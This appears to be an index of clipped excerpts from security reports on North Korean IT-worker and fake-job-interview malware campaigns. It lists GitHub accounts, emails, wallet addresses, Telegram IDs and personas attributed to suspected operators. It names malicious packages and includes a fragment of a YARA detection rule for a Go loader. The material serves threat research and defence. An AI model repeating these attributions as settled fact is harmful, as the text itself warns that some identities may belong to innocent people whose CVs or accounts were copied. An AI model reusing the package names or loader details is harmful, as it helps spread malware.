URL:https//github.com/typescript-cheatsheets/react/issues/87 URL:https//github.com/typescript-cheatsheets/react/issues/190 URL:https//github.com/dreamcoder75 URL:https//github.com/AIDevMonster URL:https//github.com/whiteghostDev URL:https//github.com/cedev935 URL:https//github.com/green52199…","…: suspected https://github.com/director2010s https://github.com/Dreamfullstacker https://github.com/miroshar-success https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 ht…","…William Loy - Jiro Yamamoto - Jiro Ya - DreamHigh - Oleksandr - Oleinik - DreamHigh0806 - ssguardheaker@gmail.com - github.com/DreamHigh0806 • [Archive](https://web.archive.org/web/20250827061107/https://github.com/DreamHigh0806) -…","…/SuperAdam47 URL:https//github.com/dragon360-dev URL:https//github.com/fairskyDev0201 URL:https//github.com/solutionGuru0129 URL:https//github.com/dreamsoft07 URL:https//github.com/super-dev03 URL:https//github.com/Mani2044 URL:https//github.com/darkhorse00512 URL:https//github.com/tanaka0722-…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from kmsec.uk's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. jonastaylor holds jonastay0421@gmail.com (1); dsetgaet holds jose.olivencia123@outlook.com (3). Where the address came from a report, the report is https://dprk-research.kmsec.uk. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…m/SettleMint-Tech-Hub5/SettleMint_Platform/ https://github.com/veneliteus-dev/exchange-backend/ https://github.com/0x9x-sketch/Oasis361/ https://github.com/eastmade/web3project-momo-token/ Appendix C.…","…Its source code is hosted on GitHub at github.com/edan0831/is-buffer-validator , under the edan0831 GitHub account. yoojae-validator : Published under the npm alias “hottblaze” (email: hottblaze012@gmail.com), this…","…//github.com/jocadefichain : leroma1 : 2023-02-13T18:46:42Z https: //github.com/cristttt : cristttt : 2023-05-18T21:13:43Z https: //github.com/eddieda1 : eddieda1 : 2023-05-18T21:18:12Z https: //github.com/shanelka-here : georgeee12 : 2023-05-18T21:23:29Z all content…","…https://github.com/jocadefichain : leroma1 : 2023-02-13T18:46:42Z https://github.com/cristttt : cristttt : 2023-05-18T21:13:43Z https://github.com/eddieda1 : eddieda1 : 2023-05-18T21:18:12Z https://github.com/shanelka-here : georgeee12 : 2023-05-18T21:23:29Z all content…","…displaying specific keywords, profile images, suspicious activities, and skills that suggest a pattern rather than mere coincidence: https://github.com/eddyonl The account shows a suspicious following pattern, with a high number of newly created accounts and some we already identified: Press…","…https[ :// ]github.com/harrypotter060327-netizen/eeeee https[ :// ]github.com/harrypotter060327-netizen/TEST_LORD https[ :// ]github.com/edwardtam919/staking-platform-main https[ :// ]github.com/TommyMinion/DeFi-Market https[ :// ]github.com/0x3ca54/arena-world https[ :// ]github.com/InfiniGods-Tech/rei…","…nikkhielseath - yosket Domains: - vscode-load-config.vercel.app ## Variant fifteen - December 1, 2025 - Unique Identifier: flag=302 github.com/eferos93/test4 #### Notes: This repo was published today December 1, 2025 GitHub Users: - eferos93 - andrew_watson - koinos-finance Email…","…zuhalvalmerikh@gmail.com - github.com/batmanst - github.com/bigbossphch - github.com/Blue630 - github.com/dotmaker619 - github.com/EliteDev619 - github.com/goldenpig951204 - github.com/green25dev - github.com/incredigroup - github.com/mhcatty - github.com/mhcrocky -…","…dreamcatcher - harrypotter - ishiiyuki0122 - https://x.com/browsercookies/status/1933592459621380282 #### Ares - github.com/elitegooddev • [Archive](https://web.archive.org/web/20250827062106/https://github.com/EliteGoodDev?tab=following) - t.me/bestdiamond9 (ID: 7220566650)…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Open Source Malware's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. ellisfleming574-ui holds ellisfleming574@gmail.com (45). Where the address came from a report, the report is https://opensourcemalware.com/blog/contagious-interview-vscode. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Its GitHub repository is available at github.com/elondavid888/react-event-dependency , linked to the elondavid888 account. auth-validator : Published under the npm alias “kevin_tr” (email: robustplutus@gmail.com), this…","The report lists EmilLa1, RomanHarazha and ThePinion, all created on 25 October 2022 within hours of one another, as high-confidence DPRK IT-worker accounts connected to a Nisos disclosure, and notes that EmiLa1 and jocadefichain used profile pictures out of the usual pattern. EmiLa1 and EmilLa1 are separate accounts; the report names both.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Open Source Malware's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Emmanuel-bot-rgb holds pe699674@gmail.com (100); yenthanh holds phamminh1309@gmail.com (100). Where the address came from a report, the report is https://opensourcemalware.com/blog/contagious-interview-vscode. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/webcat882 - github.com/lgamingdev1 - github.com/rustsol114 - github.com/maestro418 - github.com/rizzolib - github.com/endlessbuilder - github.com/smile0307 - github.com/topclever - github.com/webpointdev - github.com/crackdev01 - github.com/devsirius51 -…","…https://github.com/niceDeve https://github.com/codestar3524 https://github.com/topdev0215 https://github.com/Forest410 https://github.com/enzifiri https://github.com/sunlight0902 https://github.com/ERTWENTY Considering these patterns, I decided to analyze additional accounts with…","…https://github.com/topdev0215 https://github.com/Forest410 https://github.com/enzifiri https://github.com/sunlight0902 https://github.com/ERTWENTY Considering these patterns, I decided to analyze additional accounts with similar characteristics that also follow each other Patterns…","…github.com/blueChamel • [Archive](https://web.archive.org/web/20250827055005/https://github.com/blueChamel) - github.com/ethlocker (name: Hack the Moon!) • [Archive](https://web.archive.org/web/20230214213422/https://github.com/ethlocker) - github.com/imyugioh •…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Panther's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. ethtag123789 holds parirani9524@gmail.com (4); ronaldobon holds ronaldobon@proton.me (5). Where the address came from a report, the report is https://panther.com/blog/inside-dprk%E2%80%99s-npm-malware-factory-108-packages-261-versions-and-a-31-day-campaign-wave. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…8 https://github.com/ShareHappy0126 https://github.com/sharplip0518 https://github.com/risingdeveloper1982 https://github.com/webtalent0125 https://github.com/everest-dev0323 https://github.com/GithubRealFan https://github.com/Rango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://gi…","…for jobs in April 2025. - https://x.com/browsercookies/status/1933686204668784823 - ![](./1933686204668784823-1.png) #### SolDev - github.com/evgpan - https://x.com/browsercookies/status/1933686204668784823 - ![](./1933686204668784823-2.png) #### Grin - github.com/Grin0502 •…","…github.com/sp0t - github.com/TOP-DEVELOPER - github.com/twizard410 - github.com/webstar1014 - github.com/ychmdev - github.com/evilhanse --- # Analysis of DPRK IT Worker Logs - https://chollima-group.io/posts/analysis-of-it-worker-logs/ - anydev1103 - boriszhang1021 -…","…/secretsuperstar1109 URL:https//github.com/champion119 URL:https//github.com/SuperAdam47 URL:https//github.com/dragon360-dev URL:https//github.com/fairskyDev0201 URL:https//github.com/solutionGuru0129 URL:https//github.com/dreamsoft07 URL:https//github.com/super-dev03 URL:https//github.com/Mani20…","…en-tech https://github.com/cybersage14 https://github.com/Dejan-Teofilovic https://github.com/deterrionc https://github.com/devking877 https://github.com/fantasy1114 https://github.com/freshtinygrow-crypto https://github.com/Gold-Dev726/ https://github.com/harrycorfu https://github.com/healer1064/ h…","…• [Archive](https://archive.ph/wmnFn) - woof_decentra - horaciogar - chainreactorik - teddybran - x.com/woof_decentra/ - github.com/fantasy2345 (2025) • [Archive](https://archive.ph/wip/xsWNh) - https://x.com/blackbigswan/status/1940455109114118199 -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Multilateral Sanctions Monitoring Team (MSMT)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Fddec525 holds federicodido525@gmail.com (48); haleyhuynh holds haleyhtnt1122@gmail.com (100). Where the address came from a report, the report is https://msmt.info/view/save/2025/10/22/26294780-c396-407d-bb33-88afe988cd96-The_DPRK%E2%80%99s_Violation_and_Evasion_of_UN_Sanctions_through_Cyber_and_Information_Technology_Worker_Activities_(MSMT_2025_2).pdf. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Logpresso's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. felix4170 holds felix44291@gmail.com (100). Where the address came from a report, the report is https://www.logpresso.com/en/blog/2026-03-10-dprk-remote-it-worker-osint. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…workingnotworking.com/180375-ivar - gru1125 - github.com/FeloniousGru-Super • [Archive](https://web.archive.org/web/20240331015740/https://github.com/FeloniousGru-Super) - paulmartin-1125.web.app/ - xing.com/profile/Paul_Martin08403 - x.com/gru1125 - 0x19899a49704c7890febc139b4efa4de24d88d425 -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from kmsec.uk's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Fergaus holds strategy.808@atomicmail.io (4). Where the address came from a report, the report is https://dprk-research.kmsec.uk. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Jordan Lopez - 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) - fka Nemanja Djordjevic - firstninja111 - github.com/firstninja111 • [Archive](https://archive.ph/tFeQG) - cloudrider.m92@gmail.com - 0x92cd7363c5b1853bc8fe6b5ae269836fc508ca73 #### Mike Willie Lee -…","…: susp https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github…","…https://github.com/director2010s https://github.com/Dreamfullstacker https://github.com/miroshar-success https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github…","…https://github.com/warmice71 https://github.com/niceDeve https://github.com/codestar3524 https://github.com/topdev0215 https://github.com/Forest410 https://github.com/enzifiri https://github.com/sunlight0902 https://github.com/ERTWENTY Considering these patterns, I decided to…","…{\"id\":\"4cd383f115fa49a6\",\"type\":\"link\",\"url\":\"https://github.com/forest410\",\"x\":-985,\"y\":3990,\"width\":400,\"height\":400},…","…Malicious repo host, hub of cluster 1 github.com/danielfounder Daniel Pires persona github.com/nixfroasty James Hensley persona github.com/fortuneguy97 “Alex” persona, dev.to presence github.com/ToyBoy1127 eugene001127 cluster github.com/simplecode1996-lab simplecode1996 email cluster…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Panther's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. forward2220 holds hr@vynlence.com (1). Where the address came from a report, the report is https://panther.com/blog/inside-dprk%E2%80%99s-npm-malware-factory-108-packages-261-versions-and-a-31-day-campaign-wave. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…rsage14 https://github.com/Dejan-Teofilovic https://github.com/deterrionc https://github.com/devking877 https://github.com/fantasy1114 https://github.com/freshtinygrow-crypto https://github.com/Gold-Dev726/ https://github.com/harrycorfu https://github.com/healer1064/ https://github.com/hermes1108 https://git…","…![](./1934285777699230194-3.png) #### Hayato Suzuki - t.me/WebTalent0123 (ID: 5131829846) - github.com/FrontEndGod - hayatosuzuki0123@gmail.com - https://x.com/browsercookies/status/1934285777699230194 - ![](./1934285777699230194-4.png) ####…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Unit 42 (Palo Alto Networks)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. fsguru007 holds truepai415@gmail.com (100). Where the address came from a report, the report is https://unit42.paloaltonetworks.com/fake-north-korean-it-worker-activity-cluster/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","….com helios9116@outlook.com cleanlake412@hotmail.com masterdev1027@gmail.com https://github.com/smartfox1203 https://github.com/hellovlady https://github.com/fulldev317 https://github.com/Zhang-777 Contact Us Email: chollima_group@proton.me Phone: 0085-02-18111 This…","…helios9116@outlook.com - cleanlake412@hotmail.com - masterdev1027@gmail.com - github.com/smartfox1203 - github.com/hellovlady - github.com/fulldev317 - github.com/Zhang-777 --- # [MSMT: The DPRK’s Violation and Evasion of UN Sanctions through Cyber and Information Technology Worker…","…Jack Lin / Andy Cho / Anderson Lee - Claimed Chinese, Hong Kong - fullstack412 - jaclindev99 - MEMELOVE112 - jacklin - github.com/fullstack412 - x.com/jaclindev99 - t.me/MEMELOVE112 - jaclindev99@gmail.com - https://x.com/jaclindev99/status/1930340527645597981 -…","…entries 1 published entry_001 2026 new Suspicious GitHub Personas and DPRK IT Worker Activity Patterns github.com/fullstackdev0110 · github.com/reo0603 · github.com/buddy0323 This report documents (3) GitHub accounts showing indicators consistent with DPRK IT worker…","…hansjkiller1026@outlook.com - tomasjakson44@gmail.com - ssch26802@gmail.com - williamh8930@gmail.com - github.com/thomson0313 - github.com/fullstackdev8681 - github.com/louistalent - github.com/galaxy-foundation - github.com/galaxydigital - github.com/TopDeveloper0809 -…","…IT Workers in the orbit of HyperbuildX g0drlc A member of m8s-lab can also be found heavily connected to HyperBuildX. Github URL: https://github.com/g0drlc E-mails: robinhood97110@gmail.com, utommy.abs@gmail.com Other Names: G0drlc, Tommy Ericsson, g0drlc, temric Twitter:…","…(T) #### Gabriel Yiu - 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) - Gabriel Yiu - gabrielyiu - github.com/gabrielyiu • [Archive](https://archive.ph/oGlCc) - 0xd80614feb54d49cf46cc861fc549fae0a05b3f7e #### Jack Li - jackli16 - zeus16 - dream0239 -…","…ssch26802@gmail.com - williamh8930@gmail.com - github.com/thomson0313 - github.com/fullstackdev8681 - github.com/louistalent - github.com/galaxy-foundation - github.com/galaxydigital - github.com/TopDeveloper0809 - github.com/IlliaButenko - github.com/johnhoang-star -…","…github.com/thomson0313 - github.com/fullstackdev8681 - github.com/louistalent - github.com/galaxy-foundation - github.com/galaxydigital - github.com/TopDeveloper0809 - github.com/IlliaButenko - github.com/johnhoang-star - github.com/techsavvyninja -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from kmsec.uk's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. GamingSoftware holds vp0642537@gmail.com (87); RockyDanielRichard holds vs489233@gmail.com (1); yuliahrabets holds yuliahrabets@gmail.com (2). Where the address came from a report, the report is https://dprk-research.kmsec.uk. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Chan / Bram Chen - Q12024, Plethori, AXA, Cook, OZR, Zuniswap, Chain Guardians, Alvara Protocol, - Bram Chan - Bram Chen - gejeduck - github.com/gejeduck - github.com/0xhiros (2025) - 0x91689cf1c6cb61aa3d6663ffc74c9f689809af91 (T) - https://www.justice.gov/usao-dc/media/1402691/dl -…","…./beavertail ## Variant three - August 6, 2025 - Unique Identifier: token=812 github.com/Gerome125/TokenPresale-dApp #### Notes: This repository is different than the others as it has active development going on by at least 3 of the code puppets involved…","…David Adachi - davidadachi56@gmail.com - gigazh - dainmoly - davidlucas0402 - jwtradera - zhmolly@proton.me - zhmolly@gigadao.io - github.com/gigazh • [Archive](https://archive.ph/snjV5) - github.com/zhmolly • [Archive](https://archive.ph/80EYH) - github.com/dainmoly -…","…: RaymondPayne1 : 2022-10-25T08:41:27Z https: //github.com/ThePinion : Richard0Gibson : 2022-10-25T14:50:43Z https: //github.com/girlbuzz : MelvinAllen : 2022-10-25T19:47:28Z https: //github.com/itayplav : EduardoLunaq : 2022-10-25T20:04:05Z https: //github.com/SeanJones11…","…: RaymondPayne1 : 2022-10-25T08:41:27Z https://github.com/ThePinion : Richard0Gibson : 2022-10-25T14:50:43Z https://github.com/girlbuzz : MelvinAllen : 2022-10-25T19:47:28Z https://github.com/itayplav : EduardoLunaq : 2022-10-25T20:04:05Z https://github.com/SeanJones11 :…","…https://github.com/sharplip0518 https://github.com/risingdeveloper1982 https://github.com/webtalent0125 https://github.com/everest-dev0323 https://github.com/GithubRealFan https://github.com/Rango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://gi…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from tayvano (lazarus-bluenoroff-research)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. octa-pan holds eric2022412@gmail.com (40); gitstar holds gitstar333@hotmail.com (34); tofuwu-dev holds haodev007@gmail.com (100); mysticvikingr holds happy3guy@gmail.com (100); Johndoes12345 holds highleyhilmau@gmail.com (100); icarodev1031 holds icarodev1031@gmail.com (100). Where the address came from a report, the report is https://raw.githubusercontent.com/tayvano/lazarus-bluenoroff-research/main/dprk-it-workers/readme.md. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…| | [GitWorkHub9](https://github.com/GitWorkHub9) | user | **Operator-owned** (suspend) | A | User id 272514006.…","…github.com/dexbotsdev/uniswap-v2-v3-arbitrage v0.0.0-20231007040503-7b0a4d1c503d dexbotsdev Nextron github.com/glacialspring/go-winsparkle v0.0.0-20250402002608-ba5501b8ba90 glacialspring Nextron github.com/glacialspring/static…","…are listed below: All the files in the archive can be categorized into a few groups: Parts of Go source code and its binaries ( https://github.com/golang/go ) ChromeUpdateAlert.app – An AppBundle containing a Mach-O binary that collects the user's IP and password A Go-written backdoor and a…","GitHub account in the April 2026 cross-ecosystem Contagious Interview wave: the primary GitHub alias Socket names for the cluster, which published the formstash Go module and a Packagist package under the same name.","…That URL now redirects to github.com/golangorg/logger-base — a different GitHub account entirely.…","…In github.com/golangorg/formstash , the module is mostly a real multipart parser, but it also exposes a malicious helper that has no place in that codebase: Go…","…Registration email aokisasaki1122@gmail.com Registration email shiningup1996@gmail.com GitHub account github.com/golangorg GitHub account github.com/aokisasakidev GitHub account github.com/maxcointech1010 GitHub account…","…logger-base, logkitx, pino-debugger, debug-fmt, debug-glitz PyPI: logutilkit, apachelicense, fluxhttp, license-utils-kit Go: github.com/golangorg/formstash, github.com/aokisasakidev/mit-license-pkg Rust: logtrace Packagist: golangorg/logkit These loaders are designed to fetch…","…vic https://github.com/deterrionc https://github.com/devking877 https://github.com/fantasy1114 https://github.com/freshtinygrow-crypto https://github.com/Gold-Dev726/ https://github.com/harrycorfu https://github.com/healer1064/ https://github.com/hermes1108 https://github.com/Lyappunov https://github…","…(IOCs) identified throughout this investigation 11.1 GitHub Accounts & Repositories IOC / Indicator Context / Association github.com/GoldenDev321 Primary suspect — linked Beejern.com in bio github.com/He-Cat-E Backend dev for Peakality; MongoDB user dragonlideveloper…","….com/vnvstore/funtico-labs-assessment-15/ https://github.com/samuelmeadowbiankah/felina/ https://github.com/nhonlvsoict/skill-test-main/ https://github.com/goldendragon68/Bullana/ https://github.com/ivanwassaf/skill-test/ https://github.com/SettleMint-Tech-Hub5/SettleMint_Platform/ https://github.com/veneliteus-dev…","…github.com/batmanst - github.com/bigbossphch - github.com/Blue630 - github.com/dotmaker619 - github.com/EliteDev619 - github.com/goldenpig951204 - github.com/green25dev - github.com/incredigroup - github.com/mhcatty - github.com/mhcrocky - github.com/naruhitokaide -…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Named in post eight only, as one of three accounts in the cell that were fully deleted. No address is given for it.","…Security ITW #### Anderson Lee - aleson092325 - good725 - andersonlee111 - smartdev0725 - github.com/good725 • [Archive](https://web.archive.org/web/20250827055950/https://github.com/good725) - github.com/andersonlee111 -…","…= \"2025-10-24\" rev = 1 strings: $go_build = \"Go build ID:\" $go_inf = \"Go buildinf:\" $lib1 = \"/inject_mac/inject.go\" $lib2 = \"github.com/gorilla/websocket\" $func1 = \"t_loader/inject_mac.Inject\" $func2 = \"t_loader/common.rc4_decode\" $c1 = { 48 BF 00 AC 23 FC 06 00 00 00 0F 1F 00 E8 ?? ??…","…github.com/bigbossphch - github.com/Blue630 - github.com/dotmaker619 - github.com/EliteDev619 - github.com/goldenpig951204 - github.com/green25dev - github.com/incredigroup - github.com/mhcatty - github.com/mhcrocky - github.com/naruhitokaide - github.com/Redmon540 -…","…ithub.com/dreamcoder75 URL:https//github.com/AIDevMonster URL:https//github.com/whiteghostDev URL:https//github.com/cedev935 URL:https//github.com/green52199 URL:https//github.com/CryptoTop1111 URL:https//github.com/secretsuperstar1109 URL:https//github.com/champion119 URL:https//github.com/S…","…SolDev - github.com/evgpan - https://x.com/browsercookies/status/1933686204668784823 - ![](./1933686204668784823-2.png) #### Grin - github.com/Grin0502 • [Archive](https://web.archive.org/web/20250626063659/https://github.com/Grin0502) - Grin0502@gmail.com - t.me/NimbusDev -…","…![](./X_2025-11-22_m_polartar.png) #### Eric Andrade aka Josh Thomas - gsofter.eth - github.com/gsofter • [Archive](https://archive.ph/Z4SBi) - x.com/ggsofter - 0xfff50b1b9154b0631591dab746c5fc8f41dc44bd -…","…of devstorm23 * https://github.com/camronrohan030303 * Thematic \"VR headset woman\" profile photo * Forked repos match others of note * https://github.com/gusthaley0002221 * Thematic \"VR headset woman\" profile photo * Forked repos match others of note * Solely following devstorm23 *…","…Holmes Ming - h0lme3 - HaoqingMing - haodev007 - stabble-dev - haodev007@gmail.com - h0lmes - stabbledev - x.com/haodev007 - github.com/h0lme3 • [Archive](https://web.archive.org/web/20240926190449/https://github.com/h0lme3) - github.com/stabble-dev •…","…![](./X_2025-11-22_Brysky456.png) #### Haruto Miura - linked to TopDev707 - x.com/haruto918miura - github.com/angeldev918 - github.com/h918m - topdev707@gmail.com - haruto918miura@gmail.com - +16094590680 - https://x.com/browsercookies/status/1932932373609586853 -…","…joined the BlockNovas LLC organization on GitHub in February 2025 and started making contributions. Hades255 GitHub page overview https://github.com/hades255?tab=overview&from=2025-01-01&to=2025-01-31 Hades255 GitHub contribution activity overview…","…Peter Wang - 2025 - petherwang@gmail.com - github.com/hapetherw - x.com/hapetherw - linkedin.com/in/peter-wang-780259a3 - t.me/pethercap (ID: 2124964775, prev: @baymax586) -…","…others of note * Solely following devstorm23 * https://github.com/devstorm23 * https://github.com/jgodvali * Followed by devstorm23 * https://github.com/happylucktomorrow * Followed by devstorm23 * alerdi143@gmail.com","…2 - https://blogtienao.com/depo-coin/ - https://cryptototem.com/glory-games-worlds-glory/ - https://gamerse.gitbook.io/gamerse/team - https://github.com/harmony-one/chrome-extension-wallet/graphs/contributors - https://medium.com/@CryptoSavingExpert/in-depth-review-of-five-new-play-to-earn-games-part-9-magic-craft-professionalism-df7bc9c4b2de -…","…c https://github.com/devking877 https://github.com/fantasy1114 https://github.com/freshtinygrow-crypto https://github.com/Gold-Dev726/ https://github.com/harrycorfu https://github.com/healer1064/ https://github.com/hermes1108 https://github.com/Lyappunov https://github.com/masculus https://github.c…","…https[ :// ]github.com/adammajoros250-creator/Apexora-test https[ :// ]github.com/adammajoros250-creator/123456ddd https[ :// ]github.com/harrypotter060327-netizen/test_project https[ :// ]github.com/harrypotter060327-netizen/Harry-Potter https[ :// ]github.com/harrypotter060327-netizen/David-test https[ ://…","…Hazard - vihazard430@gmail.com - hazardvictor@hotmail.com - linkedin.com/in/victor-hazard-77ba40305 - github.com/black02430horse - github.com/hazardvictor - happy3guy@gmail.com - victordev67@gmail.com - 0xefcb06b5ea58fb451c64ec278d957f4ebfd26df7 -…","…{\"id\":\"e7be46a3051b210d\",\"type\":\"link\",\"url\":\"https://github.com/HCCEE\",\"x\":-2620,\"y\":380,\"width\":400,\"height\":400},…","…address embedded in production code • MongoDB username: dragonlideveloper is the same alias connected to GoldenDev321 commit emails https://github.com/He-Cat-E/backend/blob/main/.env ⚑ This single file creates a direct technical bridge between the He-Cat-E GitHub account, the Beejern domain, and the dragonlideveloper…","…7 https://github.com/fantasy1114 https://github.com/freshtinygrow-crypto https://github.com/Gold-Dev726/ https://github.com/harrycorfu https://github.com/healer1064/ https://github.com/hermes1108 https://github.com/Lyappunov https://github.com/masculus https://github.com/metacoffee0x17 https://githu…","…ev@outlook.com slark0704@gmail.com helios9116@outlook.com cleanlake412@hotmail.com masterdev1027@gmail.com https://github.com/smartfox1203 https://github.com/hellovlady https://github.com/fulldev317 https://github.com/Zhang-777 Contact Us Email: chollima_group@proton.me Phone:…","…slark0704@gmail.com - helios9116@outlook.com - cleanlake412@hotmail.com - masterdev1027@gmail.com - github.com/smartfox1203 - github.com/hellovlady - github.com/fulldev317 - github.com/Zhang-777 --- # [MSMT: The DPRK’s Violation and Evasion of UN Sanctions through Cyber and…","…John Patch - Helme0315 - johnpatch0502 - 0xRUS38 - 0xdoccer - russellhieu - johnpatch0502@outlook.com - russellhieu@outlook.com - github.com/Helme0315 • [Archive](https://archive.ph/vgsFX) - 0x97467ea9BeF1c925E9D8e2E65932d066869b7f13 - 0xFf6d86807b3387e10dDE52697C3BD7f59b6A145f ####…","…4 https://github.com/freshtinygrow-crypto https://github.com/Gold-Dev726/ https://github.com/harrycorfu https://github.com/healer1064/ https://github.com/hermes1108 https://github.com/Lyappunov https://github.com/masculus https://github.com/metacoffee0x17 https://github.com/mr-new-0509 https://gith…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Datadog Security Labs's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. HeroaDev holds austin27ahn@outlook.com (16). Where the address came from a report, the report is https://securitylabs.datadoghq.com/articles/tenacious-pungsan-dprk-threat-actor-contagious-interview/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…hexnome88@gmail.com - kevinsmartinez0412@gamil.com - t.me/Ee1030109 (ID: 7147733300) • [Messages](./user-7147733300-@Ee1030109.txt) - github.com/hexnome ### chain_sats - leionion - chain_sats - x.com/chain_sats - j.ohnceballos0716@gmail.com - \"Tarrance\" Tuson - github.com/leionion ###…","…https://github.com/bestselection18 https://github.com/codepert https://github.com/cryptogru812 https://github.com/deeplus2021 https://github.com/hi-tech-AI https://github.com/kirbyAttack https://github.com/legendx0333 https://github.com/lionstar259007 https://github.com/motokimasuo…","…never08mind25@gmail.com - github.com/neverm25 - denisleedragon@outlook.com - densyaou@gmail.com - eliteknightgold@outlook.com - github.com/Hiccup19940325 - jamescharlie94@outlook.com - lainhong1205@gmail.com - sunmoonlee.19900113@outlook.com - sunmoonstar0319@outlook.com -…","…Github: github.com/Hiccup19940325 github.com/neverm25 github.com/seosigoto github.com/JCollinsX github.com/mtfuji25 github.com/supermutexc github.com/call-by Persona…","…github.com/glacialspring/static v0.0.0-20181015024211-023dc73bc332 glacialspring Nextron github.com/hngi/Team-Fierce-Backend-Golang v0.0.0-20200612135333-4f82269a0a14 hngi Nextron github.com/lambda-platform/dan…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Flare's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. SoftwareKings holds dragonfighter0120@gmail.com (100); Hotaruemori holds hotaruemori@gmail.com (100). Where the address came from a report, the report is https://flare.io/learn/resources/north-korean-infiltrator-threat. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Kmsec's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. hr-tech-leader holds jaimeandujo086@gmail.com (4). Where the address came from a report, the report is https://kmsec.uk/blog/pylangghost-npm/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…562/ncipher-backend github.com/Paragkoche/ncipher1.2upgrade-backend-2 github.com/TopStar720/nyx4 github.com/asimhafeezz/blacknovas-test github.com/hrjaffery/nyc-bitquery-whale-transactions github.com/krishprism1/ncipher1.2upgrade-backend github.com/SyedMinhalHasan/blocknovas-task github.com/artur-kolesnyk/NyxCipher-test gi…","…https://github.com/SMILES00714 https://github.com/WhiteRabbit130 https://github.com/WebRabbit1796 https://github.com/supercoder-0923 https://github.com/hudesdev https://github.com/bstar0406 